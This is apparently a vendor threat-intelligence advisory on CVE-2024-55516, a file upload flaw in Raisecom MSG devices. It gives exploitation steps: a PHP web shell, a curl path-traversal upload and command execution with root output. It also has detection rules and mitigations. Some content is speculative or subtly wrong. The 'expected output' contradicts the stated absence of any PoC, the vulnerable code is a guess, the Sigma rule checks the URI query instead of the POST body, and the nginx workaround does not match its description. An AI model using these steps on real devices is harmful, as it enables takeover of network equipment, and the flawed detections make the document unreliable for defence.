CVE-2024-55516

Executive Summary

CVE-2024-55516 is an unauthenticated arbitrary file upload vulnerability affecting Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version v3.90. The flaw resides in the /upload_sysconfig.php endpoint on the web interface. By crafting a suitable form name, an attacker can upload arbitrary files to the server, potentially leading to full remote code execution (RCE) and unauthorized access to server permissions. No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available from the vendor. The vulnerability is classified as critical due to the lack of authentication required and the high impact on confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a high-priority threat for any organization using these Raisecom devices.

Deep Dive & Mechanics

The vulnerability exists in the /upload_sysconfig.php script, which is part of the web-based management interface. The script is intended to handle system configuration file uploads, but it fails to properly validate the form name parameter. An attacker can craft a malicious HTTP POST request with a manipulated form name that bypasses file type restrictions, allowing the upload of arbitrary files (e.g., PHP web shells, executables, or scripts) to the web root or other writable directories.

The core issue is a lack of input sanitization and insufficient file extension or MIME type checking. The script likely uses the form name to determine the upload destination or file handling logic, but an attacker can inject path traversal sequences or special characters to overwrite critical files or place a backdoor.

Attack Flow:

1. Attacker identifies a target Raisecom device with the web interface exposed.
2. Attacker sends a POST request to /upload_sysconfig.php with a crafted form name (e.g., filename=../../shell.php).
3. The server processes the request and writes the uploaded file to the specified path.
4. Attacker accesses the uploaded file (e.g., http://target/shell.php) to execute arbitrary commands with the privileges of the web server (often root).

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable code (conceptual)
$form_name = $_POST['form_name'];
$upload_dir = "/var/www/html/";
$file_path = $upload_dir . $form_name;
move_uploaded_file($_FILES['file']['tmp_name'], $file_path);

A patched version would include:

• Strict validation of the form name (e.g., allow only alphanumeric characters and underscores).
• Reject path traversal sequences (../, ..\\).
• Use a whitelist of allowed file extensions.
• Store files outside the web root and serve them via a controlled script.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Raisecom MSG1200 v3.90 (or any affected model) with web interface accessible.
• Attacker: Kali Linux with curl and Burp Suite.

Exploitation Steps:

1. Reconnaissance:

   curl -s http://target/upload_sysconfig.php | head -20
   

2. Craft Malicious Request: Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

3. Upload Exploit:

   curl -X POST http://target/upload_sysconfig.php \
     -F "form_name=../../shell.php" \
     -F "file=@shell.php"
   

4. Execute Commands:

   curl http://target/shell.php?cmd=id
   

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team (Defensive)

Detection & Response:

• Monitor HTTP POST requests to /upload_sysconfig.php with unusual form names (e.g., containing ../, %2e%2e%2f, or non-standard extensions).
• Alert on any file uploads that result in new files in the web root (e.g., /var/www/html/*.php).
• Use file integrity monitoring (FIM) to detect unauthorized changes to system configuration files.

Honeypot Strategy:

• Deploy a decoy Raisecom device with the vulnerable endpoint to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /upload_sysconfig.php with form_name containing path traversal sequences.
  • Outbound connections from the device to unknown IPs on ports 80/443 (C2 callback).
• File IOCs:
  • Unexpected files in /var/www/html/ or /tmp/ with .php, .sh, or .py extensions.
  • Modified /etc/passwd or /etc/shadow files.
• Process IOCs:
  • Web server processes spawning shells (e.g., sh, bash, python).
• Log IOCs:
  • Web server logs showing POST /upload_sysconfig.php with status 200 and large request bodies.

Detection Engineering

YARA Rule

rule CVE_2024_55516_Upload_Shell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-55516"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55516"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $passthru_func = "passthru("
        $backtick = "`"
    condition:
        $php_tag and (
            $system_func or $shell_func or $exec_func or $passthru_func or $backtick
        ) and filesize < 10KB
}

Sigma Rule

title: Detect Raisecom Arbitrary File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /upload_sysconfig.php with path traversal in form name
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload_sysconfig.php'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate configuration uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55516 Raisecom Arbitrary File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/upload_sysconfig.php"; http.client_body; content:"form_name"; nocase; pcre:"/form_name=[^&]*\.\.\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Raisecom devices behind a firewall and restrict access to the web interface to trusted IPs only.
2. Disable the upload functionality: If possible, remove or rename /upload_sysconfig.php on the device.
3. Monitor for exploitation: Deploy the provided detection rules to identify attacks.

Long-Term Fix:

• Contact Raisecom for an official patch. If unavailable, consider replacing the device with a patched alternative.
• Implement network segmentation to limit exposure of management interfaces.
• Apply the principle of least privilege to web server processes.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /upload_sysconfig.php with path traversal patterns:

  location /upload_sysconfig.php {
      deny all;
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence